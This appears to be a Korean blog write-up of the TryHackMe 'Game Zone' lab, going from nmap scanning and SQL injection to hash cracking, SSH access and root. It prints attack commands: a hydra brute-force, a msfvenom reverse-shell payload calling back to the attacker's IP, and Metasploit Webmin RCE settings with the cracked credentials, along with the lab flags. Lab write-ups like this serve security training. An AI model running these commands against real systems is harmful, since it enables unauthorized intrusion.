안녕하세요 오늘은 TryHackMe의 Game Zone 머신을 풀어보겠습니다.
┌──(root㉿kali)-[~/hack/LAB/GameZone]
└─# nmap --open -p- --max-retries 1 --min-rate 4000 -Pn 10.10.228.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 20:45 KST
Nmap scan report for 10.10.228.6
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
서버에는 단 2개의 포트만이 열려있네요
조금 더 자세한 스캐닝을 해보며 웹 디렉토리 브루트포스를 해보겠습니다.
┌──(root㉿kali)-[~/hack/LAB/GameZone]
└─# nmap -sV -Pn -O -p 22,80 10.10.228.6
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-25 20:46 KST
Nmap scan report for 10.10.228.6
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (96%), Linux 5.4 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (93%), Sony Android TV (Android 5.0) (93%), Android 5.0 - 6.0.1 (Linux 3.4) (93%), Android 5.1 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 5 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.59 seconds
현재 SSH 버전이 7.2로 username enumeration 공격이 가능하다는 것을 알 수 있습니다.
Hydra 도구를 사용해서 유저 정보를 한 번 알아봅시다.
┌──(root㉿kali)-[~/hack/LAB/GameZone]
└─# hydra -L /usr/share/wordlists/usernames.txt -p 'nopassword' ssh://10.10.228.6 -vV -f
히드라 결과 유저 이름을 알아내는 것은 실패했으며 gobuster 도구의 결과도 마땅히
좋은 결과는 나오지 않았습니다.
대상 웹 페이지에서 로그인 창이 존재하길래 SQL Injection을 시도해봤는데
가장 간단한 쿼리로 로그인 우회에 성공합니다.
로그인을 하면 게임 리뷰 검색창이 나오게 되는데, 여기서도 SQLi 취약점이 존재합니다.
여기서 union 공격이 가능한 상태이기 때문에 버프스위트로 패킷을 잡아서 유니온 공격을 시도합니다.
먼저 테이블을 출력해봤는데 users라는 테이블에 눈에 띄어봅니다.
그래서 저는 users 테이블의 컬럼들을 한 번 출력해보겠습니다.
users 테이블엔 username, pwd 컬럼이 존재하네요
users 테이블로부터 정보를 가져오니 agent47이라는 계정 1개가 존재하며
해쉬된 패스워드가 출력됩니다.
해쉬크래킹을 위해서 해당 해쉬가 무엇인지 알고리즘을 검색해줍니다.
분석한 결과 해당 해쉬는 SHA256 알고리즘으로 추정됩니다.
hashcat에서 SHA256 알고리즘은 1470인것을 확인했고, 이후 크래킹 결과 아래와 같은 결과가 나옵니다.
┌──(root㉿kali)-[~/hack/LAB/GameZone]
└─# hashcat --help | grep sha
170 | sha1(utf16le($pass)) | Raw Hash
1470 | sha256(utf16le($pass)) | Raw Hash
┌──(root㉿kali)-[~/hack/LAB/GameZone]
└─# hashcat -m 1470 hash --show
ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14:videogamer124
이렇게 얻은 계정정보가 어디에 쓰일지 하다가 SSH 로그인이 가능하지 않을까 싶었습니다.
┌──(root㉿kali)-[~/hack/LAB/GameZone]
└─# ssh agent47@10.10.228.6
The authenticity of host '10.10.228.6 (10.10.228.6)' can't be established.
ED25519 key fingerprint is SHA256:CyJgMM67uFKDbNbKyUM0DexcI+LWun63SGLfBvqQcLA.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:24: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.228.6' (ED25519) to the list of known hosts.
agent47@10.10.228.6's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
109 packages can be updated.
68 updates are security updates.
Last login: Fri Aug 16 17:52:04 2019 from 192.168.1.147
agent47@gamezone:~$ whoami
agent47
그 결과 SSH에 agent47 계정으로 로그인이 성공합니다.
우선 권한상승 전에 유저 플래그를 획득하기 위해 user.txt를 확인해줍니다.
agent47@gamezone:/etc/cron.d$ cd /home
agent47@gamezone:/home$ ls
agent47
agent47@gamezone:/home$ cd agent47/
agent47@gamezone:~$ ls
user.txt
agent47@gamezone:~$ cat user.txt
649ac17b1480ac13ef1e4fa579dac95c
권한상승을 위해서 SUID 파일, sudo -l, getcap -r /, grep -r 'agent47' /, cat /etc/crontab 등을 해봤지만
별다른 취약점은 발견되지 않았습니다.
혹시나 수동으로 발견하지 못한게 있을까봐 linpeas를 통해서 진단을 시도해봤습니다.
linpeas 결과에도 별다른 취약점이 발견되지 않았고, 커널 익스플로잇을 통해
권한 상승이 가능할까 싶어서 커널 버전을 확인해봤는데
ExploitDB에서 권한상승 취약점이 있는 것을 발견했습니다.
메타스플로잇을 사용해서 커널 익스플로잇을 하려면 먼저 세션이 생성되어 있어야 하기 때문에
msfvenom으로 리버스쉘 코드를 생성한 뒤 exploit/multi/handler에서 포트를 열어뒀습니다.
┌──(root㉿kali)-[~/hack/scripts]
└─# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.17.12.5 LPORT=4444 -f elf -o shell.elf
msf6 exploit(multi/handler) > run
[-] Handler failed to bind to 10.10.228.6:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (3045380 bytes) to 10.10.228.6
[*] Meterpreter session 1 opened (10.17.12.5:4444 -> 10.10.228.6:36098) at 2024-09-25 21:28:00 +0900
meterpreter >
Background session 1? [y/N]
msf6 exploit(linux/local/bpf_sign_extension_priv_esc) > run
[*] Started reverse TCP handler on 10.17.12.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Writing '/tmp/.OCt07zn' (22328 bytes) ...
[*] Writing '/tmp/.BAKoR' (250 bytes) ...
[*] Launching exploit ...
[*] Cleaning up /tmp/.BAKoR and /tmp/.OCt07zn ...
[*] Exploit completed, but no session was created.
하지만 이렇게 미터프리터 세션을 생성하고 공격을 시도했는데, 공격에는 성공했지만
이상하게도 세션이 생성되지는 않았습니다.
하지만 좋은 경험을 했다고 느낍니다.
구글링을 해보니까 굳이 ExploitDB에서 찾을 필요 없이 커널 버전과 함께 exploits 라고 검색을 하면
깃허브 등에서 소스파일이 나오는데, 그것을 컴파일하여 사용하면 권한상승이 된다고 합니다.
TryHackMe에서 어떻게 권한상승으로 접근해야 하나 보니까 ss -tulpn을 이용해서
서버의 네트워크 소켓 상태를 확인하는 것이 힌트라고 합니다.
agent47@gamezone:/tmp$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 *:10000 *:*
udp UNCONN 0 0 *:68 *:*
tcp LISTEN 0 128 *:10000 *:*
tcp LISTEN 0 128 *:22 *:*
tcp LISTEN 0 80 127.0.0.1:3306 *:*
tcp LISTEN 0 128 :::80 :::*
tcp LISTEN 0 128 :::22 :::*
10000 포트에서 알 수 없는 UDP가 실행중인 것을 확인했습니다.
이렇게 직접 접근할 수 없는 곳에 접근할 때는 Local Port Forwarding이 필요합니다.
┌──(root㉿kali)-[~/hack/LAB/GameZone]
└─# ssh -L 10000:localhost:10000 agent47@10.10.228.6
agent47@10.10.228.6's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-159-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
109 packages can be updated.
68 updates are security updates.
Last login: Wed Sep 25 07:01:30 2024 from 10.17.12.5
agent47@gamezone:~$
이렇게 SSH를 이용하여 로컬 포트포워딩을 성공하면
로컬 호스트의 10000포트에 접속했을 때 서버의 10000번 포트에 접속이 됩니다.
그러면 아래와 같이 로그인 창이 나옵니다.
agent47 계정으로 접속합니다.
로그인을 하면 Webmin이라는 소프트웨어가 나오며 버전정보는 1.580이라고 나옵니다.
Exploit DB에서 검색하니 RCE 취약점이 있음을 확인할 수 있습니다.
메타스플로잇 모듈을 사용해서 적절한 옵션을 세팅해줍니다.
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > search webmin
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/unix/webapp/webmin_show_cgi_exec 2012-09-06 excellent Yes Webmin /file/show.cgi Remote Command Execution
1 auxiliary/admin/webmin/file_disclosure 2006-06-30 normal No Webmin File Disclosure
2 exploit/linux/http/webmin_file_manager_rce 2022-02-26 excellent Yes Webmin File Manager RCE
3 exploit/linux/http/webmin_package_updates_rce 2022-07-26 excellent Yes Webmin Package Updates RCE
4 \_ target: Unix In-Memory . . . .
5 \_ target: Linux Dropper (x86 & x64) . . . .
6 \_ target: Linux Dropper (ARM64) . . . .
7 exploit/linux/http/webmin_packageup_rce 2019-05-16 excellent Yes Webmin Package Updates Remote Command Execution
8 exploit/unix/webapp/webmin_upload_exec 2019-01-17 excellent Yes Webmin Upload Authenticated RCE
9 auxiliary/admin/webmin/edit_html_fileaccess 2012-09-06 normal No Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
10 exploit/linux/http/webmin_backdoor 2019-08-10 excellent Yes Webmin password_change.cgi Backdoor
11 \_ target: Automatic (Unix In-Memory) . . . .
12 \_ target: Automatic (Linux Dropper) . . . .
webmin으로 검색하여 나온 결과 중 0번 모듈을 사용했습니다.
해당 모듈을 선택한 이후에 옵션을 다음과 같이 설정해줍니다.
set RHOSTS localhost
set RPORT 10000
set LHOST tun0
set LPORT 4444
set payload cmd/unix/reverse
set SSL false
set USERNAME agent47
set PASSWORD videogamer124
이렇게 설정하고 run을 하면 리버스쉘 세션이 획득되고 권한이 root임을 확인할 수 있습니다.
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
2 shell cmd/unix 10.17.12.5:4444 -> 10.10.228.6:36210 (127.0.0.1)
3 shell cmd/unix Shell Banner: 6miqjp9nu6UieY7S ----- 10.17.12.5:4444 -> 10.10.228.6:36222 (::1)
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > session 2
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.
msf6 exploit(unix/webapp/webmin_show_cgi_exec) > sessions 2
[*] Starting interaction with 2...
whoami
root
cd ~/
ls
root.txt
cat root.txt
a4b945830144bdd71908d12d902adeee
이상으로 Game Zone 침투테스트를 마치겠습니다.
[TryHackMe] Daily Bugle (2) | 2024.09.26 |
---|---|
[TryHackMe] Skynet (2) | 2024.09.26 |
[TryHackMe] HackPark (0) | 2024.09.25 |
[TryHackMe] Alfred (3) | 2024.09.25 |
[TryHackMe] Vulnversity (2) | 2024.09.12 |